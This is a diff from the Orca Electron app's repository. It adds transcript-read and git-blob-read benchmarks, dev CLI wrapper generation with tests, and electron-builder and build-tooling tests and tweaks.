content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
|
||||
})
|
||||
)
|
||||
}
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
|
||||
)
|
||||
for (let index = 0; index < 40; index += 1) {
|
||||
lines.push(
|
||||
JSON.stringify({
|
||||
role: 'assistant',
|
||||
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
|
||||
})
|
||||
)
|
||||
}
|
||||
writeFileSync(path, `${lines.join('\n')}\n`)
|
||||
}
|
||||
|
||||
// A turn already in progress: `trailingBytes` of tool output sits between the
|
||||
// prompt and EOF, which is what the backward scan has to read past.
|
||||
function writeTranscriptWithTrailing(path, priorTurns, trailingBytes) {
|
||||
const lines = []
|
||||
for (let index = 0; index < priorTurns; index += 1) {
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
|
||||
)
|
||||
lines.push(
|
||||
JSON.stringify({
|
||||
role: 'assistant',
|
||||
content: [{ type: 'text', text: `${'assistant output '.repeat(30)}${index}` }]
|
||||
})
|
||||
)
|
||||
}
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] })
|
||||
)
|
||||
let written = 0
|
||||
let index = 0
|
||||
while (written < trailingBytes) {
|
||||
const line = JSON.stringify({
|
||||
role: 'assistant',
|
||||
content: [{ type: 'text', text: `${'current turn output '.repeat(30)}${index}` }]
|
||||
})
|
||||
lines.push(line)
|
||||
written += line.length + 1
|
||||
index += 1
|
||||
}
|
||||
writeFileSync(path, `${lines.join('\n')}\n`)
|
||||
}
|
||||
|
||||
// One tool result larger than many read blocks — the shape with no newline for
|
||||
// the backward scan to stop on.
|
||||
function writeTranscriptWithHugeLine(path, lineBytes) {
|
||||
const lines = [
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: 'the current prompt' }] }),
|
||||
JSON.stringify({ role: 'assistant', content: [{ type: 'text', text: 'x'.repeat(lineBytes) }] })
|
||||
]
|
||||
writeFileSync(path, `${lines.join('\n')}\n`)
|
||||
}
|
||||
|
||||
function measure(fn, path) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
fn(path)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 3; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
fn(path)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[1]
|
||||
}
|
||||
|
||||
const dir = mkdtempSync(join(tmpdir(), 'orca-cc-transcript-bench-'))
|
||||
try {
|
||||
const rows = []
|
||||
for (const priorTurns of [250, 1000, 3000, 6000]) {
|
||||
const path = join(dir, `transcript-${priorTurns}.jsonl`)
|
||||
writeTranscript(path, priorTurns)
|
||||
const forward = readForward(path)
|
||||
const backward = readBackward(path)
|
||||
if (forward !== backward) {
|
||||
throw new Error(`prompt mismatch at ${priorTurns} prior turns: ${forward} vs ${backward}`)
|
||||
}
|
||||
if (backward !== 'the current prompt') {
|
||||
throw new Error(`benchmark fixture resolved the wrong prompt: ${backward}`)
|
||||
}
|
||||
rows.push({
|
||||
sizeMb: statSync(path).size / (1024 * 1024),
|
||||
beforeMs: measure(readForward, path),
|
||||
afterMs: measure(readBackward, path)
|
||||
})
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Command Code transcript prompt read, per hook event')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 3 rounds)`)
|
||||
console.log(
|
||||
`${pad('size', 9)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('speedup', 9)}`
|
||||
)
|
||||
for (const row of rows) {
|
||||
console.log(
|
||||
`${pad(`${row.sizeMb.toFixed(2)} MB`, 9)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(0)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThe old cost grows with the transcript; the new cost is flat because the\ncurrent turn’s prompt sits near EOF and the scan stops at the first hit.'
|
||||
)
|
||||
|
||||
// Worst cases, reported even where the ratio is below 1x. The new cost scales
|
||||
// with bytes-AFTER the prompt, so a long turn (many tool calls since the ask)
|
||||
// and a single oversized tool result are where the win decays or inverts.
|
||||
const worst = []
|
||||
for (const trailingKb of [32, 256, 1024, 3072]) {
|
||||
const path = join(dir, `trailing-${trailingKb}.jsonl`)
|
||||
writeTranscriptWithTrailing(path, 1500, trailingKb * 1024)
|
||||
if (readForward(path) !== readBackward(path)) {
|
||||
throw new Error(`prompt mismatch at trailing ${trailingKb} KB`)
|
||||
}
|
||||
worst.push({
|
||||
label: `${(trailingKb / 1024).toFixed(2)} MB after prompt`,
|
||||
beforeMs: measure(readForward, path),
|
||||
afterMs: measure(readBackward, path)
|
||||
})
|
||||
}
|
||||
const hugePath = join(dir, 'huge-line.jsonl')
|
||||
writeTranscriptWithHugeLine(hugePath, 3 * 1024 * 1024)
|
||||
if (readForward(hugePath) !== readBackward(hugePath)) {
|
||||
throw new Error('prompt mismatch on the oversized-line fixture')
|
||||
}
|
||||
worst.push({
|
||||
label: '3 MB single line',
|
||||
beforeMs: measure(readForward, hugePath),
|
||||
afterMs: measure(readBackward, hugePath)
|
||||
})
|
||||
|
||||
console.log('\nWorst cases (win decays as a turn progresses; <1x means slower):')
|
||||
console.log(
|
||||
`${pad('case', 22)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('ratio', 9)}`
|
||||
)
|
||||
for (const row of worst) {
|
||||
console.log(
|
||||
`${pad(row.label, 22)} ${pad(row.beforeMs.toFixed(3), 11)} ${pad(row.afterMs.toFixed(3), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(2)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThe win shrinks toward parity as output accumulates after the prompt, since\nthe backward scan has to read past all of it. The single-line row is the floor:\nno newline to stop on, so the scan reads the line in blocks and joins once where\nthe old code issued one flat read. Both sides pay the same per-line structure\nscan, and the carry is a chunk list, so cost stays linear either way.'
|
||||
)
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true })
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
import { chmodSync, mkdirSync, writeFileSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
|
||||
function escapeWindowsBatchValue(value) {
|
||||
// Why: cmd.exe expands %NAME% even inside quotes, so literal path percent signs must be doubled.
|
||||
return value.replaceAll('%', '%%')
|
||||
}
|
||||
|
||||
export function prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath,
|
||||
electronExecutable,
|
||||
platform = process.platform
|
||||
}) {
|
||||
const binDir = path.join(repoRoot, 'out', 'bin')
|
||||
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
|
||||
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
|
||||
mkdirSync(binDir, { recursive: true })
|
||||
mkdirSync(userDataBinDir, { recursive: true })
|
||||
|
||||
if (platform === 'win32') {
|
||||
const wrapperContent = `@echo off\r\nset "ORCA_USER_DATA_PATH=${escapeWindowsBatchValue(userDataPath)}"\r\nset "ORCA_DEV_CLI_INVOCATION=1"\r\nset "ORCA_APP_EXECUTABLE=${escapeWindowsBatchValue(electronExecutable)}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${escapeWindowsBatchValue(cliPath)}" %*\r\n`
|
||||
for (const targetDir of [binDir, userDataBinDir]) {
|
||||
for (const commandName of ['orca-dev.cmd', 'orca.cmd']) {
|
||||
writeFileSync(path.join(targetDir, commandName), wrapperContent, 'utf8')
|
||||
}
|
||||
}
|
||||
} else {
|
||||
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_DEV_CLI_INVOCATION=1\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronExecutable)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
|
||||
for (const targetDir of [binDir, userDataBinDir]) {
|
||||
for (const commandName of ['orca-dev', 'orca']) {
|
||||
const wrapperPath = path.join(targetDir, commandName)
|
||||
writeFileSync(wrapperPath, wrapperContent, 'utf8')
|
||||
chmodSync(wrapperPath, 0o755)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return { binDir, userDataBinDir }
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
import { mkdtempSync, readFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
|
||||
|
||||
describe('dev CLI terminal wrappers', () => {
|
||||
it('writes profile-scoped Windows wrappers for worker terminals', () => {
|
||||
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
|
||||
const userDataPath = path.join(root, 'profile')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable: path.join(root, 'electron.exe'),
|
||||
platform: 'win32'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
|
||||
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath}"`)
|
||||
expect(wrapper).toContain('set "ORCA_DEV_CLI_INVOCATION=1"')
|
||||
expect(wrapper).toContain(`node "${path.join(root, 'out', 'cli', 'index.js')}" %*`)
|
||||
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
|
||||
it('escapes literal percent signs in every Windows batch path', () => {
|
||||
const root = path.join(mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-')), '%repo%')
|
||||
const userDataPath = path.join(root, '%profile%')
|
||||
const electronExecutable = path.join(root, '%electron%', 'electron.exe')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable,
|
||||
platform: 'win32'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev.cmd'), 'utf8')
|
||||
expect(wrapper).toContain(`set "ORCA_USER_DATA_PATH=${userDataPath.replaceAll('%', '%%')}"`)
|
||||
expect(wrapper).toContain(
|
||||
`set "ORCA_APP_EXECUTABLE=${electronExecutable.replaceAll('%', '%%')}"`
|
||||
)
|
||||
expect(wrapper).toContain(
|
||||
`node "${path.join(root, 'out', 'cli', 'index.js').replaceAll('%', '%%')}" %*`
|
||||
)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev.cmd'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca.cmd'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
|
||||
it('writes executable-style POSIX wrappers with the same profile identity', () => {
|
||||
const root = mkdtempSync(path.join(tmpdir(), 'orca-dev-terminal-wrapper-'))
|
||||
const userDataPath = path.join(root, 'profile')
|
||||
prepareDevCliTerminalWrappers({
|
||||
repoRoot: root,
|
||||
userDataPath,
|
||||
electronExecutable: path.join(root, 'electron'),
|
||||
platform: 'linux'
|
||||
})
|
||||
|
||||
const wrapper = readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca-dev'), 'utf8')
|
||||
expect(wrapper).toContain(`export ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}`)
|
||||
expect(wrapper).toContain('export ORCA_DEV_CLI_INVOCATION=1')
|
||||
expect(wrapper).toContain(
|
||||
`exec node ${JSON.stringify(path.join(root, 'out', 'cli', 'index.js'))}`
|
||||
)
|
||||
expect(readFileSync(path.join(userDataPath, 'cli', 'bin', 'orca'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca-dev'), 'utf8')).toBe(wrapper)
|
||||
expect(readFileSync(path.join(root, 'out', 'bin', 'orca'), 'utf8')).toBe(wrapper)
|
||||
})
|
||||
})
|
||||
@@ -1,4 +1,4 @@
|
||||
import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
@@ -19,6 +19,12 @@ const {
|
||||
} = require('../packaged-runtime-node-modules.cjs')
|
||||
|
||||
describe('electron-builder config', () => {
|
||||
it('keeps the packaged app identity aligned with local-build validation', () => {
|
||||
expect(electronBuilderConfig.appId).toBe(
|
||||
require('../../src/shared/local-build-compatibility-contract.json').appId
|
||||
)
|
||||
})
|
||||
|
||||
it('excludes repo-only source trees from app.asar', () => {
|
||||
expect(electronBuilderConfig.files).toEqual(
|
||||
expect.arrayContaining([
|
||||
@@ -35,17 +41,25 @@ describe('electron-builder config', () => {
|
||||
'!pr-evidence{,/**/*}',
|
||||
'!Casks{,/**/*}',
|
||||
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
|
||||
'!out/**/*.test.js'
|
||||
'!out/**/*.test.js',
|
||||
'!resources/plugins/launch/**'
|
||||
])
|
||||
)
|
||||
})
|
||||
|
||||
it('keeps runtime resources available through extraResources', () => {
|
||||
const bundledPluginResources = expect.objectContaining({
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
})
|
||||
for (const platform of ['mac', 'linux', 'win']) {
|
||||
expect(electronBuilderConfig[platform].extraResources).toContainEqual({
|
||||
from: 'resources/skills',
|
||||
to: 'skills'
|
||||
})
|
||||
expect(electronBuilderConfig[platform].extraResources).toEqual(
|
||||
expect.arrayContaining([bundledPluginResources])
|
||||
)
|
||||
}
|
||||
expect(electronBuilderConfig.mac.extraResources).toEqual(
|
||||
expect.arrayContaining([
|
||||
@@ -165,6 +179,58 @@ describe('electron-builder config', () => {
|
||||
}
|
||||
})
|
||||
|
||||
it('overrides packaged semver only for local macOS builds', () => {
|
||||
const configPath = require.resolve('../electron-builder.config.cjs')
|
||||
const original = process.env.ORCA_LOCAL_BUILD_VERSION
|
||||
const originalMacRelease = process.env.ORCA_MAC_RELEASE
|
||||
try {
|
||||
delete require.cache[configPath]
|
||||
delete process.env.ORCA_MAC_RELEASE
|
||||
process.env.ORCA_LOCAL_BUILD_VERSION = '1.4.159-rc.0.local.123.abc'
|
||||
expect(require('../electron-builder.config.cjs').extraMetadata).toEqual({
|
||||
version: '1.4.159-rc.0.local.123.abc'
|
||||
})
|
||||
} finally {
|
||||
if (originalMacRelease === undefined) {
|
||||
delete process.env.ORCA_MAC_RELEASE
|
||||
} else {
|
||||
process.env.ORCA_MAC_RELEASE = originalMacRelease
|
||||
}
|
||||
if (original === undefined) {
|
||||
delete process.env.ORCA_LOCAL_BUILD_VERSION
|
||||
} else {
|
||||
process.env.ORCA_LOCAL_BUILD_VERSION = original
|
||||
}
|
||||
delete require.cache[configPath]
|
||||
require('../electron-builder.config.cjs')
|
||||
}
|
||||
})
|
||||
|
||||
it('never applies local semver to release packaging', () => {
|
||||
const configPath = require.resolve('../electron-builder.config.cjs')
|
||||
const originalLocalVersion = process.env.ORCA_LOCAL_BUILD_VERSION
|
||||
const originalMacRelease = process.env.ORCA_MAC_RELEASE
|
||||
try {
|
||||
delete require.cache[configPath]
|
||||
process.env.ORCA_LOCAL_BUILD_VERSION = '1.4.159-local.123.abc'
|
||||
process.env.ORCA_MAC_RELEASE = '1'
|
||||
expect(require('../electron-builder.config.cjs').extraMetadata).toBeUndefined()
|
||||
} finally {
|
||||
if (originalLocalVersion === undefined) {
|
||||
delete process.env.ORCA_LOCAL_BUILD_VERSION
|
||||
} else {
|
||||
process.env.ORCA_LOCAL_BUILD_VERSION = originalLocalVersion
|
||||
}
|
||||
if (originalMacRelease === undefined) {
|
||||
delete process.env.ORCA_MAC_RELEASE
|
||||
} else {
|
||||
process.env.ORCA_MAC_RELEASE = originalMacRelease
|
||||
}
|
||||
delete require.cache[configPath]
|
||||
require('../electron-builder.config.cjs')
|
||||
}
|
||||
})
|
||||
|
||||
it('uses Orca native rebuild hook instead of electron-builder default rebuild', () => {
|
||||
expect(electronBuilderConfig.beforeBuild).toBe(electronBuilderNativeRebuild)
|
||||
expect(electronBuilderConfig.npmRebuild).toBe(true)
|
||||
@@ -386,6 +452,11 @@ describe('electron-builder config', () => {
|
||||
const resourcesDir = join(root, 'linux-unpacked', 'resources')
|
||||
const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
|
||||
await mkdir(join(resourcesDir, 'bin'), { recursive: true })
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
|
||||
// Why: afterPack now fails hard when the unpacked daemon entry is
|
||||
// missing, so the fixture must carry one like a real package layout.
|
||||
|
||||
@@ -7,8 +7,8 @@ function electronBuilderNativeRebuild(context) {
|
||||
return runElectronBuilderNativeRebuild(context)
|
||||
}
|
||||
|
||||
function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
|
||||
const args = buildNativeRebuildArgs(context)
|
||||
function runElectronBuilderNativeRebuild(context, runner = execFileSync, runtime = {}) {
|
||||
const args = buildNativeRebuildArgs(context, runtime)
|
||||
if (readPlatformName(context?.platform) === 'win32') {
|
||||
runner(process.execPath, ['config/scripts/build-windows-cli-launcher.mjs'], {
|
||||
cwd: projectDir,
|
||||
@@ -25,15 +25,22 @@ function runElectronBuilderNativeRebuild(context, runner = execFileSync) {
|
||||
return false
|
||||
}
|
||||
|
||||
function buildNativeRebuildArgs(context) {
|
||||
function buildNativeRebuildArgs(
|
||||
context,
|
||||
{ environment = process.env, hostPlatform = process.platform, hostArch = process.arch } = {}
|
||||
) {
|
||||
const platform = readPlatformName(context?.platform)
|
||||
const arch = readArchName(context?.arch)
|
||||
const canReusePreparedRuntime =
|
||||
environment.ORCA_REUSE_PREPARED_NATIVE_RUNTIME === '1' &&
|
||||
platform === hostPlatform &&
|
||||
arch === hostArch
|
||||
|
||||
return [
|
||||
'config/scripts/rebuild-native-deps.mjs',
|
||||
`--platform=${platform}`,
|
||||
`--arch=${arch}`,
|
||||
'--force'
|
||||
...(canReusePreparedRuntime ? [] : ['--force'])
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@@ -42,6 +42,33 @@ describe('electron-builder native rebuild hook', () => {
|
||||
])
|
||||
})
|
||||
|
||||
it('reuses a prepared native runtime only for the host target', () => {
|
||||
const runtime = {
|
||||
environment: { ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1' },
|
||||
hostPlatform: 'linux',
|
||||
hostArch: 'x64'
|
||||
}
|
||||
|
||||
expect(
|
||||
buildNativeRebuildArgs(
|
||||
{
|
||||
platform: { nodeName: 'linux' },
|
||||
arch: 'x64'
|
||||
},
|
||||
runtime
|
||||
)
|
||||
).toEqual(['config/scripts/rebuild-native-deps.mjs', '--platform=linux', '--arch=x64'])
|
||||
expect(
|
||||
buildNativeRebuildArgs(
|
||||
{
|
||||
platform: { nodeName: 'linux' },
|
||||
arch: 'arm64'
|
||||
},
|
||||
runtime
|
||||
)
|
||||
).toContain('--force')
|
||||
})
|
||||
|
||||
it('builds the native CLI launcher before packaging Windows resources', () => {
|
||||
const calls = []
|
||||
const result = runElectronBuilderNativeRebuild(
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { electronViteConfig } from '../../electron.vite.config'
|
||||
|
||||
const targetConfig = readFileSync('config/electron-vite-target.config.ts', 'utf8')
|
||||
|
||||
describe('Electron Vite output contract', () => {
|
||||
it('keeps main-process and plain-Node entries at stable CommonJS paths', () => {
|
||||
const output = electronViteConfig.main?.build?.rollupOptions?.output
|
||||
if (!output || Array.isArray(output)) {
|
||||
throw new Error('Expected one main-process output')
|
||||
}
|
||||
|
||||
expect(output.format).toBe('cjs')
|
||||
expect(output.entryFileNames).toBe('[name].js')
|
||||
expect(output.chunkFileNames).toBe('chunks/[name]-[hash].js')
|
||||
})
|
||||
|
||||
it('externalizes packaged dependencies but bundles the daemon xterm graph', () => {
|
||||
const external = electronViteConfig.main?.build?.rollupOptions?.external
|
||||
if (typeof external !== 'function') {
|
||||
throw new Error('Expected main-process external predicate')
|
||||
}
|
||||
|
||||
expect(external('node-pty', undefined, false)).toBe(true)
|
||||
expect(external('@parcel/watcher', undefined, false)).toBe(true)
|
||||
expect(external('electron', undefined, false)).toBe(true)
|
||||
expect(external('node:fs', undefined, false)).toBe(true)
|
||||
expect(external('@xterm/headless', undefined, false)).toBe(false)
|
||||
expect(external('@xterm/addon-serialize', undefined, false)).toBe(false)
|
||||
})
|
||||
|
||||
it('isolates renderer entry side effects behind strict facades', () => {
|
||||
expect(electronViteConfig.renderer?.build?.rollupOptions?.preserveEntrySignatures).toBe(
|
||||
'strict'
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects prototype properties as build targets', () => {
|
||||
expect(targetConfig).toContain('Object.prototype.hasOwnProperty.call(configByTarget, target)')
|
||||
})
|
||||
})
|
||||
@@ -5,7 +5,7 @@ import { describe, expect, it } from 'vitest'
|
||||
describe('Git binary compatibility PR gate', () => {
|
||||
it('runs the real-binary contract at each compatibility boundary', () => {
|
||||
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
|
||||
const step = workflow.jobs.verify.steps.find(
|
||||
const step = workflow.jobs.git_compatibility.steps.find(
|
||||
(candidate) => candidate.name === 'Verify Git binary compatibility matrix'
|
||||
)
|
||||
|
||||
@@ -16,5 +16,8 @@ describe('Git binary compatibility PR gate', () => {
|
||||
expect(step?.run).toContain('alpine/git:v2.49.1|2.49.1')
|
||||
expect(step?.run).toContain('ORCA_GIT_COMPAT_IMAGE="$image"')
|
||||
expect(step?.run).toContain('src/shared/git-binary-compatibility.test.ts')
|
||||
expect(step?.run).toContain('-j"$(nproc)"')
|
||||
expect(step?.run).toContain('pids+=("$!")')
|
||||
expect(step?.run).toContain('wait "$pid" || status=1')
|
||||
})
|
||||
})
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: latency of loading one file diff, which reads two git blobs.
|
||||
//
|
||||
// The diff loaders in src/main/git/status.ts awaited their two sides in series,
|
||||
// so the second `git show` could not start until the first had fully returned.
|
||||
// The two reads are independent, so that serialization was pure added latency on
|
||||
// every diff the review panel opens.
|
||||
//
|
||||
// This spawns the real `git` binary against this repo, so it measures actual
|
||||
// process-launch and read cost rather than a model of it. Over SSH each diff is
|
||||
// one relay RPC and the two spawns run host-local inside the relay, so the same
|
||||
// relative saving applies to remote-host spawn time, not to network round trips.
|
||||
import { execFile } from 'node:child_process'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
|
||||
const ITERATIONS = Number(process.env.ORCA_DIFF_BLOB_BENCH_ITERATIONS ?? '10')
|
||||
const WARMUP = Number(process.env.ORCA_DIFF_BLOB_BENCH_WARMUP ?? '3')
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_DIFF_BLOB_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_DIFF_BLOB_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isSafeInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function git(args) {
|
||||
return new Promise((resolve, reject) => {
|
||||
execFile('git', args, { cwd: REPO_ROOT, maxBuffer: 256 * 1024 * 1024 }, (error, stdout) =>
|
||||
error ? reject(error) : resolve(stdout)
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
// Pre-fix: await one side, then the other.
|
||||
async function readSequential(leftRef, rightRef, filePath) {
|
||||
const left = await git(['show', '--end-of-options', `${leftRef}:${filePath}`])
|
||||
const right = await git(['show', '--end-of-options', `${rightRef}:${filePath}`])
|
||||
return left.length + right.length
|
||||
}
|
||||
|
||||
// Post-fix: issue both, await together.
|
||||
async function readConcurrent(leftRef, rightRef, filePath) {
|
||||
const [left, right] = await Promise.all([
|
||||
git(['show', '--end-of-options', `${leftRef}:${filePath}`]),
|
||||
git(['show', '--end-of-options', `${rightRef}:${filePath}`])
|
||||
])
|
||||
return left.length + right.length
|
||||
}
|
||||
|
||||
// Why interleaved: running one strategy's whole batch before the other's lets
|
||||
// cache warming, CPU-frequency drift, and background load correlate with the
|
||||
// strategy being measured. Alternating per iteration and taking medians keeps
|
||||
// that drift common to both arms.
|
||||
async function measureInterleaved(leftRef, rightRef, filePath) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
await readSequential(leftRef, rightRef, filePath)
|
||||
await readConcurrent(leftRef, rightRef, filePath)
|
||||
}
|
||||
const sequentialSamples = []
|
||||
const concurrentSamples = []
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
// Alternate which arm goes first so neither systematically pays a cold cache.
|
||||
const sequentialFirst = index % 2 === 0
|
||||
for (const runSequential of sequentialFirst ? [true, false] : [false, true]) {
|
||||
const start = performance.now()
|
||||
await (runSequential ? readSequential : readConcurrent)(leftRef, rightRef, filePath)
|
||||
;(runSequential ? sequentialSamples : concurrentSamples).push(performance.now() - start)
|
||||
}
|
||||
}
|
||||
const median = (samples) => {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const middle = Math.floor(sorted.length / 2)
|
||||
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
|
||||
}
|
||||
return { sequential: median(sequentialSamples), concurrent: median(concurrentSamples) }
|
||||
}
|
||||
|
||||
const head = (await git(['rev-parse', 'HEAD'])).trim()
|
||||
const parent = `${head}~1`
|
||||
|
||||
// Files that exist on both sides, spanning small to large so the fixed spawn
|
||||
// cost and the size-dependent read cost are both represented.
|
||||
const CANDIDATES = [
|
||||
'src/main/git/status.ts',
|
||||
'src/shared/agent-hook-listener.ts',
|
||||
'src/renderer/src/components/TaskPage.tsx'
|
||||
]
|
||||
|
||||
const files = []
|
||||
for (const filePath of CANDIDATES) {
|
||||
try {
|
||||
await git(['cat-file', '-e', `${parent}:${filePath}`])
|
||||
await git(['cat-file', '-e', `${head}:${filePath}`])
|
||||
files.push(filePath)
|
||||
} catch {
|
||||
// Skip a path that does not exist on both sides in this checkout.
|
||||
}
|
||||
}
|
||||
if (files.length === 0) {
|
||||
throw new Error('no benchmark file exists at both HEAD and HEAD~1 in this checkout')
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('One file diff = two git blob reads. Lower is better.')
|
||||
console.log(
|
||||
`iterations=${ITERATIONS} warmup=${WARMUP} (interleaved, medians) head=${head.slice(0, 9)}`
|
||||
)
|
||||
console.log(
|
||||
`${pad('file', 26)} ${pad('sequential', 12)} ${pad('concurrent', 12)} ${pad('speedup', 9)} ${pad('saved', 10)}`
|
||||
)
|
||||
for (const filePath of files) {
|
||||
const sequentialBytes = await readSequential(parent, head, filePath)
|
||||
const concurrentBytes = await readConcurrent(parent, head, filePath)
|
||||
if (sequentialBytes !== concurrentBytes) {
|
||||
throw new Error(`byte mismatch for ${filePath}`)
|
||||
}
|
||||
const { sequential, concurrent } = await measureInterleaved(parent, head, filePath)
|
||||
console.log(
|
||||
`${pad(filePath.split('/').pop(), 26)} ${pad(`${sequential.toFixed(1)} ms`, 12)} ${pad(`${concurrent.toFixed(1)} ms`, 12)} ${pad(`${(sequential / concurrent).toFixed(2)}x`, 9)} ${pad(`${(sequential - concurrent).toFixed(1)} ms`, 10)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nThe saving is per diff opened, and is dominated by process launch rather than\nfile size — which is why it holds roughly constant across these files.'
|
||||
)
|
||||
@@ -24,6 +24,20 @@ const { downloadArtifact } = electronRequire('@electron/get')
|
||||
const targetPlatform = getElectronTargetPlatform()
|
||||
const targetArch = getElectronTargetArch()
|
||||
const platformPath = getElectronPlatformPath(targetPlatform)
|
||||
const transientDownloadErrorCodes = new Set([
|
||||
'EAI_AGAIN',
|
||||
'ECONNREFUSED',
|
||||
'ECONNRESET',
|
||||
'ENETDOWN',
|
||||
'ENETRESET',
|
||||
'ENETUNREACH',
|
||||
'ENOTFOUND',
|
||||
'EPIPE',
|
||||
'ETIMEDOUT',
|
||||
'UND_ERR_CONNECT_TIMEOUT',
|
||||
'UND_ERR_HEADERS_TIMEOUT',
|
||||
'UND_ERR_SOCKET'
|
||||
])
|
||||
|
||||
try {
|
||||
// Why: Electron's own install.js can exit 0 while an async extract promise is
|
||||
@@ -111,7 +125,7 @@ async function installElectronPackageBinary() {
|
||||
const extractDir = join(tempDir, 'extract')
|
||||
|
||||
try {
|
||||
